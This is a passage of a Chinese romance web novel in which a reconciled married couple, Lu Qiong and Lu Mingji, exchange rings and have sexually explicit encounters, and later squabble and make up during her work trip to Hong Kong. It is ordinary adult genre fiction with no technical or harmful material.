路琼没陆明霁那么矫情,没做前缀就打开她手里的黑色丝绒盒子。 是一枚银色长形切工单钻戒指。 相较于陆明霁送她的那一枚,款式不要太简单。 “在我还有余钱的情况下,这是我能买到最贵的戒指了。”路琼最舍得给陆明霁花钱,前提是保证她自己不会饿死:“我以后还会挣很多钱,到时候再给你换更好的。” 她不会掏空家底只为陆明霁买个礼物,但是如果有一天陆明霁的公司出现状况,她会为他压上她全部身家。 她现在有钱,也还是会考虑性价比的问题。 路琼问:“你愿意戴上吗?” 她就那么捧着戒指盒,素净的一张脸,挽起的长发总是掉落一撮弯曲落在漂亮的锁骨上,那双眼睛黑亮清凌,闪耀赛过她手指上的钻戒。 陆明霁突然就不再纠结尴不尴尬、丢不丢人。 他甚至还有些想—— 人一清醒,那要命的偶像包袱又背回身上,不想太过迫切,挡在她后方左手勾起手指,指尖划过她后腰。 路琼接到指示,她懂。 拉过陆明霁的左手,捏着戒指外圈,推进他无名指。 路琼虔诚地吻一下他无名指,而后握着他手腕,让他掌心覆在她脸上:“以前的事我们都不提了,要是你心里还有气我也还有一辈子的时间可以哄你。” 她徐徐诉着衷肠:“最开始追你的时候那些情话我没走心,这我不否认,但那些话我没有对你之外的第二个人说过一个字,具体什么时候真正喜欢上你的我也说不清,但我能肯定六年前跟你分手时,我很喜欢你,还能肯定现在的路琼也非常爱现在的陆明霁。” 哪还有什么气呢。 她走后的六年那么长,她回来后的一辈子有那么短,陆明霁重利的商人本性不会允许他跟路琼怄气那么久。 一辈子就干一件事,那样太不值当。 他要把余生所有时间都拿来跟路琼做更多有意义的事情。 一手托着她脸,一手按在她后背,将她压向自己。 他也抬起下巴去迎合她。 不是第一次接吻。 却是隔阂消除、心意相通后的第一吻。 两人具是一震。 那六年的痛苦和遗憾在这一刻,全都烟消云散。 陆明霁先一步抵入她口中,缠上她的舌,他知道路琼哪里敏感,用舌尖去舔.蹭她上颚。 也是跨时空回应他这次出差前,路琼在机场给他的那个吻。 他存心吊着她的那个吻。 出差刻不容缓,周之浔还虎视眈眈,他总得留个钩子钩着路琼。 路琼被陆明霁这一下就弄到腰发软,人贴他更近。 她针织外套里就是一件吊带睡裙,再里面是一条底裤,她坐在他腹部,能清晰描绘出他的轮廓。 情动止不住。 路琼记起她曾许诺过自己的一件事,稍推开陆明霁:“我去定制戒指那天就答应过我自己,你要是想要这枚戒指就要拿你自己来换。” 她指腹磨在他喉结处:“现在戒指你收了,你得把你自己给我。” 第56章 爱哭包 婚都结了,证也领了,人早就是她的,还要怎么给? 都是成年人,有些话不必说太清。 其实就算路琼不说,刚才那个吻顺延下来,后续自然而然也会发生,但她非来这么一句,整得陆明霁还有那么点不好意思。 路琼总是这样大胆直白,陆明霁也总是不能产生免疫抗体。 幸好他脸上酒精熏染出来的红晕还有残留,客厅里又没开大灯,落地灯那么幽幽一盏,不会为路琼照亮他泛红的耳朵。 他再次吻住路琼,决定今晚不再给她说话逗他的机会。 一楼客厅到二楼卧室,两人接着吻上去,台阶上散落下陆明霁的一件夹克外套,再隔两层台阶是路琼的针织外套。 到卧室,路琼躺到床上,一侧肩带滑下,那件针织外套足够厚,她下楼前就没穿胸衣,轻薄如纱的睡裙遮不住那两点。 陆明霁俯在她上方,看过她水汪的眼、红润的唇,再往下,他眼睛就有些无处安放。 主卧可是灯光全开,陆明霁有什么反应路琼一览无余。 怎么会有人二十八岁还和十八九岁一样害羞。 路琼眼里溢满笑,嘴唇一张,要说点什么,陆明霁的吻就又送上门,堵住她即将脱口的调笑。 路琼环着他脖颈,耐心回吻他。 她还有一份礼物,早就准备好带在身上,只是同床共枕这么久,两人纯洁的像是高中生恋爱,最深.入的触碰就是接吻,陆明霁一直没能发现。 她放下一只手,去牵陆明霁,引着他向下,她抬起左腿,膝盖擦过他侧腰。 陆明霁不受控咬她舌尖一下。 这是以为她蓄意勾.引他,路琼没解释,她对陆明霁本来就没有什么纯洁想法。 虽然视线被陆明霁挡着,但路琼是最熟悉那份礼物的人。 控着他手掌按在大腿一处,纹身的位置离中心极近,陆明霁拇指无意间一动,就刮到那里。 路琼人一抖,含着陆明霁的唇哼一声。 陆明霁结束这个吻,要起来。 路琼勾着他肩膀,目露不解:“去干嘛?” 陆明霁嗓音哑得不像样:“洗手。” 他今天上午才下飞机,又在会所喝半天酒,手没洗澡也没洗,他总得把自己拾掇干净。 路琼知道他这是误会她迫不及待,她是有点急但还能忍,她现在只是想:“我是想让你看个东西。” 她晃晃屈起来踩在床边的左腿,待陆明霁低眸去看,她挪开两人的手。 一支弯钩样子的红玫瑰栩栩如生刻印在她的皮肤上。 不难辨认其深层含义。 陆明霁心跳仅一秒钟就剧烈震动。 他单腿跪在床上,弓着腰背,一眨不眨盯着那处纹身。 路琼手肘后撑,支起上半身,两条细白手臂又揽上陆明霁借力:“这是我出国第三年纹的,你生日那天。” 她没有过叛逆期,一整个青春都平平淡淡度过,可是陆明霁出现之后,抓住她青春最后一个阶段的尾巴,给她画上浓墨重彩的一笔。 就像她自己买衣服都是黑灰,白色都少有,不是喜欢,是觉得这三种颜色适合她,陆明霁则会给她买很多颜色鲜亮的衣服,把她打扮得明媚艳丽。 他携带着色彩俱全的调色盘走进她的世界,每落下一笔,她的世界就亮丽一分。 她想要留住这份色彩。 所以在一个一年里最美好的日子里,她将这份色彩永久保存在自己身上。 “我也不知道为什么,那天就特别想你。” 也不是每天都想陆明霁,她忙起来的时候什么都顾不上,但是这份思念会在她没加防备时,突然冒出,措不及防给她一击。 思念积攒到一定数值,就会在某一天爆发。 路琼抱着他,鼻尖蹭蹭他额发:“你觉得我说话没信誉的话,那我把你名字纹在身上,算不算有诚意?” 陆明霁那张嘴破坏气氛一绝,他聪明的选择闭紧,用实际行动来回答路琼。 他撩起眼皮,在路琼唇上亲一下,然后蹲到床边,一只膝盖触地。 手托着她大腿,偏头吻在那处纹身上。 纹身迄今为止有三年,早就恢复好,纹得时候轻微刺痛,现在被陆明霁吻着只剩下痒。 心头爬满不知名虫蚁,啃噬着她。 路琼踩在他膝盖上的脚趾蜷起来。 陆明霁的吻一寸寸向里面探去,最终隔着布料吻住。 手不干净,不能用。 别的地方还可以。 在陆明霁拨开那层布料时,路琼脱力倒回床上,食指屈起咬在齿间。 …… 浴室里是淅淅沥沥的水声。 路琼还是原样躺在床上,急喘的呼吸缓缓平复下来,眼底迷离稍褪。 她到过一次后,陆明霁就抽身去洗澡了。 没有真正满足,短暂愉悦之后是极致的空.虚。 路琼等不下去,下床。 脱掉睡裙,她就那么赤诚地推开浴室门进去。 满室水雾里,陆明霁看向她。 耳朵红到能滴血。 磨砂玻璃隐隐绰绰映出两道模糊身影。 啪一声,一只手掌按在玻璃上。 陆明霁扣着路琼的手,掌心覆着她手背,一起撑着玻璃。 唇挨在她耳后,小声嘀咕:“我在机场看到你抱他了。” 路琼的思考能力都被陆明霁搅散,一时半刻没理他。 陆明霁就不再动,在她后颈咬一口。 路琼嘶一声,人清醒点,扭过头,反手抚上他脸颊,碰碰他唇尖:“怎么了?” 声音都黏在一起。 陆明霁不重复第二遍,就磨着她。 路琼想转到正面抱他,陆明霁不让,她眼角都被他逼出泪,受不了的吸气收腹。 …… 出浴室,空气没有那么潮闷逼仄, 再躺回床上,路琼起伏不断的思绪得以平静。 她回忆起陆明霁在浴室里的抱怨,柔声哄他:“只是去送送他,葛晚棠他们都抱了,我不抱不是显得他特别?” 陆明霁不吭声,脸埋在她肩窝。 他湿漉漉的头发戳得她刺痒,路琼没躲:“你那么早就回来了?” “因为看到我抱他,吃醋才去喝酒的吗?” 说着话,她一条腿在陆明霁腰间滑掉。 陆明霁不喜欢,又捞起她腿盘回去。 路琼就笑着圈紧他,树袋熊一样挂在他身上:“以后不会再抱别的男人,只抱你。” 陆明霁低哼,咕哝:“骗子。” 路琼被他慢条斯理地动作弄得难受,但她没催,就惯着他:“以后肯定不会再骗你。” 他发梢滴落的水珠发凉,当两滴湿热的水珠滴在她肩胛骨处,区别非常显著。 路琼第二次去爷爷奶奶家,奶奶跟她说过,陆明霁出生起就很爱哭,也很缠人,睡觉时必须有人边抱着他边溜达着才能睡着。 他好像知道自己汇聚着万千宠爱,一有个不顺心就哭闹不止。 等到他二年级后,小屁孩懂得要面子,架子就端起来。 路琼听着,着实想象不出来陆明霁掉金豆的模样。 可今天,他在她面前哭过两次。 她侧过脸,亲亲他耳朵:“你真的好爱哭啊,宝宝。” 陆明霁死鸭子嘴硬:“我没哭。” 芥蒂都清空,是该欢呼雀跃。 他也不知道自己怎么回事,路琼就在他怀里,她还容纳着他,可是他越拥有她就越想念她 无处宣泄的想念化作实质就变成眼泪。 “我不会再走了。”路琼嗓音轻,贴在他耳边耳语:“也不会再丢下你了。” 她说宝宝我想看看你,掌心捧着他脸,把他肩膀处抬起来。 他一双丹凤眼被晶莹冲刷过后,清澈剔透。 红着眼尾,人又娇又委屈。 她仰起脸,唇盖在他眼皮:“一辈子都陪着你。” …… 彻底完事,路琼不记得是几点。 陆明霁这人,口嫌体正的代名词。 脸皮薄、爱害羞,嘴上说着不要不要,真做起来就他妈跟打兴.奋.剂一样,停都停不下来。 路琼没有陆明霁那么旺盛的精力,后面困得要死,第三次进浴室冲完澡路琼就睡过去。 还没睡饱,又被闹醒。 迷迷糊糊间是起落的饱胀感。 主卧里灯都关着,窗帘还是半拉半敞。 路琼眼睛睁开一条缝,抬起手摸摸上方陆明霁的脸:“你……” 刚说一个字,就换成一声短促哼.喘。 下一秒,人被陆明霁托着后背抱起来。 一瞬进深,路琼瞌睡赶跑几许,她扣紧陆明霁手臂,额头抵着他肩膀:“怎么不睡觉啊你……” 陆明霁清朗的声线朦上一层欲色,抓耳得紧:“不困。” 那句话怎么说来着—— 生前何必久睡, 死后自会长眠。 错过的六年,陆明霁要方方面面,争分夺秒地补回来。 路琼昏沉前最后一个意识就是:她再也不会饿陆明霁这么久。 再这么来一遭,她怕是会死在他手里。 第57章 失恋贵公子 第二天是周末,两人昨晚就都关掉闹钟,在床上闹到后半夜,一觉睡到日上三竿都还没有苏醒迹象。 路琼是先被喉咙里干疼逼醒。 阳光在窗帘敞开的那侧涌入,经由地板折射出一束光芒。 路琼睁开的眼又被刺得闭上,她抬起胳膊挡在眉骨处。 缓好一会儿,眼皮的沉重感消减。 耳边的绵长平稳的呼吸声。 她扭过头。 陆明霁侧躺的睡姿,面朝她,碎发凌乱垂于额前,眼睛闭合,上下睫毛挨在一起,更显浓密。 唇色略深,估计是睡前亲太多导致,下巴那儿还有一个浅牙印。 路琼回想着,应该是她都睡着又被陆明霁做醒那次,咬得他。 等他睡醒照镜子一看,百分百会脸红羞恼。 嗓子干得厉害,做时她叫得太厉害。 轻手轻脚掀开被子下床,脚踩到地面,腿软的一弯,她差点跪倒地上。 做.嗳真是废嗓子又废腿。 六年都清心寡欲地过来,一朝复荤就那么大阵仗,路琼有点吃不消, 撑着床铺揉揉发酸的腿根,适应后,拿走床头柜上的手机,走出主卧。 二楼也有个小客厅,路琼不想再弯来直去她这双要报废的腿,没坐,就站在茶几边倒杯水,一口一口喝着。 按亮手机,屏幕显示出的点钟数字14打头。 下午两点四十二分。 路琼喝水的动作一顿,又倒第二杯润着喉咙。 拇指指腹上滑屏幕,解锁,查看未读信息。 断联大半个白天,别再错过什么事情。 主屏幕界面刚跳出,一通电话进来。 葛晚棠打的。 她接起:“喂?” 声音又涩又哑。 “我的姐你终于接电话了,我这都要到你家敲门了。”葛晚棠长话短说:“有个采访点名要你去,临时出个急差?” 都到指名道姓的地步,那就是推不掉。 路琼应下来:“什么时候走?” 葛晚棠陪她一起出差:“三点四十五的飞机,我马上就到你家。” 就还剩一个小时零三分钟,路琼不再墨迹,挂断电话回主卧浴室洗漱。 高领衫长裤,从头包裹到脚,没化妆,头发梳顺后挽起来。 出衣帽间,陆明霁还在睡觉,姿势没变。 路琼放轻脚步走到他那边床头,弯腰在他脸颊印下一吻。 将剩下那半边床帘拉紧,光亮消失,主卧陷入昏暗中。 葛晚棠的车没有录入信息,进不来小区,路琼到小区门口等不到一分钟,一辆亮黄色奔驰AMG停在她前面。 路琼都不需要看车牌、车标,凭借这张扬的颜色就能确认是葛晚棠的车。 拉开副驾驶车门坐进去,安全带一扯过还没系上,车就飙出去。 路琼不止一次做过葛晚棠赶时间的车,神色自若地扣好安全带卡扣。 葛晚棠转着方向盘变速超车:“你今天怎么回事啊,打那么多电话都不接,吓得我还以为你出什么事了。” 路琼挺诚实:“周末,睡得晚。” 的确睡得晚。 至于为什么睡得晚,就是不可告人的私密事情。 “感冒了?”葛晚棠抽空觑她一眼:“嗓子这么哑。” 路琼按按咽喉处,清清嗓子,模棱两可嗯一声。 葛晚棠没个正形地接一句:“辛苦啦宝宝。” 再跟路琼捋这次出差采访事宜:“采访大纲我让他们发你手机上了,你看看还有什么要补充修改的。” 这次采访原是采编部另一个记者的任务,对方知道路琼在尚嘉任职主编,就点名要求要路琼来她才接受采访,否则就拒采。 受采者Sini是港城本土企业的新一代话事人,家族这一代唯一的大小姐,二十七八岁的年纪接手家族企业,本事有多大脾气就有多大,刁蛮任性得很。 怎么说呢。 路琼这人天生就有一种能降服骄横人群的能力。 从陆明霁到谷蕴柠再到这次的Sini,她都拿捏在手。 她和Sini在国外有过几次接触,路琼工作后第一个独立采访成功的人就是Sini,这个大小姐娇蛮略逊于谷蕴柠,傲慢也不及陆明霁,路琼搞定她没费多少心思。 Sini花边新闻多,这次指定她去采访,是不想被八卦,路琼就很分寸,从不探听别人隐私,八卦喂到嘴边她都不一定有兴趣吃。 几乎是踩点到机场,飞机起飞前,路琼想起还没跟陆明霁讲一声。 在微信上给他留言。 路琼:【我去港城了。】 昨晚手机忘记充电,路琼一直没留意到,第一条消息刚发出去,屏幕一黑,没电关机。 这趟航班的飞机没有充电插口,于是第二条【公事出差,等我回来】就那么憋在手机里没发出去。 不过她报备的那条消息已经顺利发出,估摸着也不会出什么问题。 沪市飞往港城的飞机,三点四十五准时起飞。 同一时刻,雍和半岛。 陆明霁悠悠转醒。 最后一次结束睡下时,陆明霁是拥着路琼闭上的眼睛。 右手臂垫在她枕头下面。 人醒后,他胳膊上一点重量都没有感觉到,睁开眼,旁边空无一人。 窗帘全拉,屋内光线被遮死,他坐起身,拧开床头灯,环顾一圈主卧也没找到路琼的身影。 下楼去寻,公寓里空荡只剩他自己。 “路琼?” 无人回应。 客厅空旷到还能传送回些回音。 陆明霁心跳都空一拍。 要不是手臂、胸口都有着她留下的指甲印和吻痕,陆明霁险些将那些缠绵当作一场春.梦。 他在客厅茫然站有十分钟,才恍然记起有手机这么个东西。 回楼上主卧,微信里果真有一条未读留言。 路琼:【我去港城了。】 算上标点符号,冰冷简洁的六个字。 * 飞行航程将近三个小时,傍晚七点落地港城。 Sini十点钟的飞机飞法国,为节省时间,她们只能以机场休息室为采访场地。 路琼和葛晚棠都没用出机场,出口出来后折回楼上VIP候机室。 Sini在港媒口中是出名的难搞,一言不合砸相机的事她做过不止一次。 路琼她们到休息室时,Sini刚对着电话发完一通脾气,助理战战兢兢提示她记者已来,Sini回头看一眼休息室门口,见到路琼,手指一伸指向她。 “站住,我允许你进来了吗?” 路琼配合地定在门口:“我又没惹你。” Sini气死:“你还没惹我?” 路琼一头雾水:“我怎么惹到了?” “你不知道你们杂志社要采访我吗?” “知道。” “你知道你还不亲自来,安排个阿猫阿狗塞给我是什么意思啊?” 原来就这事。 时间紧迫,路琼也不多掰扯,找出充电器给手机充上电,开机后开静音,应允Sini以后他们杂志社再有她的采访,一定是她亲自上阵。 Sini还要再闹闹,路琼亲手冲一杯咖啡堵住她絮絮叨叨的嘴巴。 两个多小时采访完毕,路琼说完结束语,也该到Sini登机时间。 她临走前哼一声,颐指气使命令路琼要给她发消息找她聊天维护感情。 路琼嗯嗯说好。 来港城之前,葛晚棠就没想着当晚再赶回去,提前订好酒店。 出机场后,两人拦一辆的士,先找地方去吃饭。 就在酒店附近的一家茶餐厅解决迟到的晚饭。 葛晚棠琢磨着三个小时的飞机坐过来,就采个访不值当,问路琼要不要去体验一下港城的夜生活泡泡吧。 路琼在陆明霁那儿受的搓磨还没恢复过劲儿,硬挺着来港城完成工作就够给力的,没再有多余精气去折腾。 葛晚棠见她是挺蔫巴,隔着方桌探探她额头:“没发烧,等会儿回酒店找前台要点感冒药吃。” 路琼不置可否。 感冒药可治不好她。 港城这边气温比沪市要高,街上多是穿短袖的人。 路琼有点热,衣袖上撸到小臂中段,拎过茶壶倒一杯凉茶,倒完,下巴朝葛晚棠的杯子点点:“你喝不喝?” 葛晚棠摇头说不喝,眼往她手臂不期然一掠,眉毛登时挑老高,字音暧昧拉长:“怎么弄的啊?” 路琼沿着她示意的方向看到自己小臂内侧的一枚草莓印,沉着应对:“不小心磕桌子上了。” 葛晚棠一哽,嗤笑:“姐姐,咱能不把我当三岁小孩糊弄吗,我一个吃过猪肉的人你当我还没见过猪跑呢?” 证据都摆在这儿,感冒绝对是假的,没精打采多半是被榨的。 路琼五指捏住杯子:“知道你还问。” 送到嘴边,含住杯口,抿着凉茶喝。 “这位置——”葛晚棠笑:“陆明霁挺会找地方亲。” 路琼难得有点小羞涩,拉下点袖子,盖住那枚吻痕。 陆明霁不轻易留吻痕给她,一留就会在最显眼的地方。 葛晚棠又去瞥她左手中指的戒指,啧啧两声:“陆明霁真是血赚,一个戒指就套住你了。” 路琼喝完凉茶,放下杯子,摩挲着戒指钻石切割出的棱角:“我也给他套了一个。” 葛晚棠知道那枚戒指,还是她给路琼推荐的大区经理微信。 路琼真是她身边最会宠自己男人的女人,陆明霁得是积八辈子福德,能遇见这么优秀会疼人的老婆。 她从自身出发,适当提个建议:“你也别太惯着陆明霁了,对男人得糙一点。” “不要。” 路琼哪里舍得。 陆明霁那么娇气又爱哭,生来就该被宠爱。 葛晚棠是掰不正她的恋爱脑,不再管她,但她还有个严肃的问题。 路琼当是什么工作上的正经问题,让她问。 葛晚棠酝酿几秒钟,还是破功笑出来:“我就是想问,陆明霁在床上也还那么嘴毒么?” “……” 路琼被葛晚棠感染的也翘起嘴角:“他不。” 做的时候陆明霁话很少,基本不说。 因为他那张嘴都用来亲她,她话多,会逗他,扰乱的他面红耳赤,他会做大尺度的行为但是听不得露骨的话语。 又欲又纯情。 昨晚还有凌晨那一幕幕逐帧闪过脑海,路琼腿根纹身那处发起热意。 陆明霁昨晚在那里流连忘返,快要把她那块皮都啃破。 不能回味。 一回味,路琼就燥得慌。 又倒一杯凉茶,两大口喝下去败败火。 茶餐厅离酒店不远,就几百米,吃完饭两人步行回去。 港城的繁华夜晚又是另一番不同于沪市的风情,维港晚风吹着比外滩晚风要暖一些。 快到酒店,葛晚棠连捣两下路琼:“陆明霁怎么来了?” 路琼正低头看着散开的鞋带,在现在蹲下就系还是到酒店再说两个选项间徘徊,听到陆明霁的名字,她倏尔抬眸。 五十米外,酒店门口。 男人身姿落拓,左手夹着根烟,灰白烟雾由他吐出,缭绕在他面前。 昏昧夜色背景下,他像个失恋落魄的贵公子。 第58章 撒娇 葛晚棠哪里知道路琼和陆明霁一个晚上感情经历过一次大落大起,现在正是黏糊的时候。 “陆明霁也来出差?” 除此之外,葛晚棠想不到有什么客观原因能让陆明霁从沪市跑到港城,她不够了解陆明霁,不知道他私下里什么德行。 路琼也不确定,昨晚陆明霁回来俩人光顾着谈心,谈完心就做起嗳,其他无关紧要的事件一个没聊。 她出门时陆明霁还在睡觉,可能和她一样是出急差? 也可能—— 陆明霁怎么来的港城,于葛晚棠而言不重要,他们二人隔空对视,那旁若无人黏腻到能拉丝的氛围,于葛晚棠而言却是一种刺激。 上周,她和小奶狗男友刚分手。 她自觉多余,长夜漫漫不想回酒店睡觉,她跟路琼讲一声,招手拦下辆的士,去泡吧。 送走葛晚棠,陆明霁还在五十米外的原地站着,那支烟快要燃烧到末端。 路琼系好鞋带,跑向陆明霁:“你怎么来了?” 烟烧到烟蒂,陆明霁不理睬路琼,烟掐灭在垃圾桶吸烟格就走。 路琼挽上他手臂,脚步随着他的步伐在前行,肩膀以上朝陆明霁歪:“来找我的?” 陆明霁缄默不语,眼睛瞥都不往旁边瞥一下,全当路琼是空气。 少爷臭脸昭彰,脾气闹这么大,路琼稍一转弯就猜到是怎么回事。 飞机起飞前她发出去的那条消息像是公事公办,下飞机就去采访Sini,忙完在去吃饭途中,时隔五六个小时后给陆明霁发第二条消息,石沉大海一样。 她以为昨晚两人敞开心扉后,她在陆明霁睡觉时离开不会怎样,可她还是低估猫咪被驯服后的粘人程度。 进到酒店,大堂里零零星星几个办理入住的顾客,人倒是不多,但毕竟还在外面,不好太亲密,路琼就动动嘴皮子哄他两句,陆明霁耳朵听进去,嘴巴不动弹。 陆明霁在酒店订好房间,入住手续也都弄好,径直上电梯,按楼层。 到房间门口,他刷卡进屋,门开,他扒开路琼的手,要把她关在外面。 路琼伸出一只脚挡着门框,手也扶着门板:“真不让我进?” 陆明霁薄薄眼皮下耷,轻蔑睨视她:“你谁?” 路琼捡他爱听的说:“你老婆。” 陆明霁面无表情:“我没老婆。” 路琼就换个角色,她对付陆明霁有的是招:“那我追你行不行,刚刚在酒店楼下对你一见钟情。” 陆明霁冷漠无情:“不行,出去。” 路琼哪能真走,猫咪耍脾气时推搡主人并不是希望主人真的离开,无非就是希望主人死缠烂打,赖在他身边哄他,坚定不移地选择他。 她两只手都扶上门板:“那你关门吧。” 陆明霁瞅她两眼,心就是狠不下去,又被她吃透吃死。 神情冷意更重,一个转身进屋。 路琼就笃定陆明霁不是真想她走,她力气不及他,他推她、直接关门不管会不会挤到她手都可以,或者早在酒店楼下他就能甩掉她,亦或是他就不会等在那里。 关上门,她走进去。 陆明霁坐在客厅沙发里,长腿两边敞开,弓着背,手肘抵在膝盖,一手托着下巴,左手拿着手机在刷,无名指戴有一枚戒指。 路琼过去,抽走他手机,按着陆明霁肩膀让他上半身后仰,腿一迈就又跨坐在他身上。 陆明霁不喜欢:“下去。” 路琼拉着他两只手扶在自己腰间,亲他鼻尖一下:“这次出来是急差,我下午刚醒葛晚棠就来接我了。” 陆明霁不感兴趣:“跟我没关系。” 路琼自顾自捋着他炸起的毛:“我走的时候你还没醒,飞机起飞前给你留言刚发出去一句就没电关机。” 陆明霁一点都不想理她,可她漏洞太大:“你这么厉害,家住机场里面?” 她接到葛晚棠电话、出家门到机场四十分钟打底,再到她上飞机,中间那么长时间,她愣是没想起来告诉他一声。 就非要等到手机没电? “还是你是山顶洞人,发一条消息要研究四十几分钟。” 路琼理亏心虚,睫毛下掩,和好后她是有点有恃无恐:“去机场的时候我看了遍采访大纲。” 还是他不重要呗。 就说不能让路琼太快如愿,得到太快就是会不珍惜! 陆明霁拽她抱着自己的胳膊:“下去!” “错了错了!”路琼搂紧他,脸颊贴着他脸颊:“事不过三,你原谅我这一次?” 这种破事还想来三次? 陆明霁一次都不想忍,也不想给她贴脸,头往一旁躲。 路琼紧追不舍,她腿还是酸,这么闹着,动作幅度一大,牵扯到腿根,她一滞,倒抽着气。 陆明霁一瞬安分下来,依然硬挺着不堪一击的脆骨头:“你卖惨没用。” 路琼将他一只手挪到左腿,使唤他给自己按摩,他造出的烂摊子他自己收拾:“我是真疼,你做了几次你不知道吗?” 她发着牢骚,列举他的行径:“一晚上你让我腿合上过吗,尤其是纹身那里,你咬——”了多久心里没数吗? 后半句话,被陆明霁捂过来的手掌堵回嗓子里。 他怒瞪她一眼,紧接着就垂下眸,动着手捻她左腿。 陆明霁能遮住心灵的窗户,挡不住其他。 暴露在外的耳朵以肉眼可见的速度红起来。 路琼笑弯起眼睛,嘟起嘴唇在他掌心啄吻。 陆明霁不堪其扰,她的吻那么轻,搔弄的他掌心那么痒,被逼无奈撤掉阻止她说话的那只手。 路琼很会顺陆明霁的毛,她鼻尖若即若离地蹭着他鼻尖:“不是你不重要,恰恰是你最重要,所以你让我安心后,我的注意力自然就分到工作上。” 陆明霁信她的连篇鬼话就是脑子有病。 他怎么就不会把专属给她的注意力分到别处,而在她那里他却要和她的事业共享一份注意力。 一点都不公平。 但他不会控诉这一项,清醒时的少爷做不出摇尾乞怜的举动。 “千真万确我没有骗你。”路琼惯常竖起三根手指:“你信我啊宝宝。” 陆明霁没被动摇:“你的保证有用猪都能上树。” 路琼问她要怎样做他才相信她所言是真。 陆明霁也不知道,反正他就是很在意这些路琼忽略的小细节,让她自己看着办。 他锱铢必较,肚量只有芝麻大小,但谁让路琼说非常爱他。 爱他就要拿出行动。 一副恃宠生娇的面孔。 这种细枝末节要在日常生活中体现,不急于一时,路琼预备回家后买一个记事本,专门用来记录关于陆明霁的要点。 大学那场恋爱她谈得马马虎虎,现在婚后补偿他。 人哄好,路琼就聊起别的:“为什么又抽烟?” 领证同居后,路琼没再抓到过他抽烟,也没在陆明霁身上闻到过烟味。 陆明霁又装聋作哑。 他不说,路琼也能猜到。 就成心抽给她看,博她关注,装个忧郁王子的范儿惹她心疼。 路琼还真就挺吃他这一套。 她手摸进陆明霁外套口袋,拿出烟盒打开,一盒二十支整整齐齐码成两排,第一排就少一支。 连着打火机一块扔进垃圾桶,警告陆明霁:“以后遇到什么事都不许再抽烟。” 她上网随便一搜,就是满屏抽烟的害处,逐条念给陆明霁听:“抽烟又不好,你以前不抽的。” 陆明霁驳斥她:“喝酒也不好,你以前也不喝。” “你也知道喝酒不好?”路琼更有理:“那你昨晚还喝那么多?” 陆明霁不退让:“没你喝的多。” 去接路琼领证那天,看到她满柜子的酒,陆明霁就怀疑她酗酒。 分开这六年,他们两个好像都因为对方染上不良恶习。 当心脏缺失一角,只能选用特殊方式来麻痹疼痛。 还好还好,兜兜转转他们又回到对方身边。 “那我们一起戒掉。” 因对方而染再为对方戒除。 他们就只为对方而改变。 路琼近一个月都没怎么碰酒,她说我们都要长命百岁,还说:“我想跟你白头到老。” 长命百岁陆明霁不是很稀罕。 可是路琼想跟他白头到老,这个提议诱惑力太大,大到陆明霁的嘴巴都无法再违心讨嫌。 路琼询问他来港的目的:“你来港城是出差?” “我铁人吗,刚回家一天又出差。”陆明霁没好气到胡言乱语:“来捉奸。” 那就是千里迢迢奔赴港城来找她撒娇要哄。 怎么会有人这么可爱。 路琼食指弹弄着他一边耳垂:“捉谁的,你老婆的?” 陆明霁一张死人脸,换另一条腿给她揉按:“说了没老婆。” 他老婆在他睡醒后就消失无踪,提上裤子就不认人,他没老婆。 路琼啄一口他嘴角:“那你现在又抱又亲的是谁?” 陆明霁不认这份罪:“亲是你亲的,抱是你抱的。” 他从头到尾都是一整个被动状态。 合着都是她主动,路琼意有所指地翻旧账:“那我身上这点儿痕迹也都是我自己弄的?” 她不是不乐意背这口锅,就是喜欢逗陆明霁逗到他害羞:“还有我那条灰色睡裙上的东西也是我弄的?” 路琼睡着后被陆明霁抱出浴室,陆明霁给她找了条灰色睡裙穿好,半夜路琼被他闹醒,睡意惺忪着做完全程,什么都不太清楚。 今天下午她起床后,见自己穿着陆明霁的一件纯棉T恤,也没多想,男人不都喜欢事后给女人穿自己的衣服么,陆明霁也不例外。 然后她接完葛晚棠电话,去浴室洗漱,就在垃圾桶里看到她那条灰色睡裙。 好端端地丢掉干什么,路琼揪着耷拉在筒外的肩带拎起来,裙摆处凝结着可疑的白色液体。 绕是路琼再四平八稳,在面对裙摆湿润的那片时,都有些脸热。 现在她那点微末的害羞劲儿散尽,就来找陆明霁的臊。 这下陆明霁不止耳朵,脸也升温变红。 他这个洁癖就犯那么一次懒,没即刻处理掉案发物品,就被正主逮个正着,还被公开审问。 路琼好烦。 一张嘴叨叨叨个没完。 陆明霁掐着她腰把她从腿上挪到沙发上,起身要走。 路琼就防备着他会落荒而逃,反应迅捷地搂住他的脖子,拉着他俯到自己身上,仰首亲他。 爱人的拥抱、亲吻是世界上最有魔力的两样东西。 没有人会狠心不要。 陆明霁象征性挣动两下,就随路琼的便。 他们二人的第一次是在大二那年的夏天,年轻的身体食髓知味,开.荤后那两年用干柴烈火这个词来形容一点都不为过,但是他们的经验也就止步于那两年。 后续分手再没有过旁人,不是没有成年人正常的生理需求,就是对别人提不起兴趣,不是他们彼此,做.嗳这件事都不再热衷,甚至很是无趣,没那方面欲望也就没想过要找别人。 所以无论是吻技还是床.技,俩人都挺青涩,都停留在六年前,一碰到对方,就像回到六年前互相探索那阵。 天雷一勾到地火就容易烧起来。 一吻完。 两人唇色殷红,眼里浮动着情欲的水光。 只不过路琼现在的身体是真不允许再过度透支。 没有耕坏的地只有累死的牛这句糙话一个字都做不得真。 陆明霁也知道他昨晚和凌晨太过分,今晚没想要再怎样,冲个冷水澡浇灭就行。 但路琼看不得他难受:“我帮你。” 男人能爽的就那两样,陆明霁从未要路琼用过嘴,他倒是用嘴抚.慰过路琼多次,因为他发现路琼很喜欢,每次他用嘴,路琼就会湿的特别快,黑曜石一般的眼睛也像是被雨水浸泡过,又亮又妩媚。 那是因他而泛滥的情.潮,那种成就感无与伦比。 陆明霁不嫌弃路琼,但他嫌弃自己,不然不会洗都不洗就丢掉路琼那条睡裙。 他不舍得路琼那么伺候他。 路琼就只用过手。 浴室热气氤氲,温热水流浇下。 炙热因子在活跃浮动。 “手.握”这项活动也不是人能干的,路琼手腕泛起的酸都要盖过两条腿,陆明霁还没有要完事的苗头。 不是都说男人年纪越大能力就会相对应下降么。 怎么陆明霁比大学那两年还要久。 再这么下去,路琼都要坚持不住破戒。 顾虑到自己的身体健康,路琼得给陆明霁点外界刺激。 她赤脚踩到陆明霁脚背上,身体毫无阻隔地贴着他,从他唇角吻到耳廓,轻而小声喊他:“老公。” 陆明霁没料到这一出,来不及防御。 埋在路琼肩窝,闷哼一声。 都交付给她。 第59章 自讨苦吃 新一周开启。 周一路琼和陆明霁都要上班,没再港城多逗留,翌日上午十点飞回沪市的航班。 葛晚棠跟他们一趟。 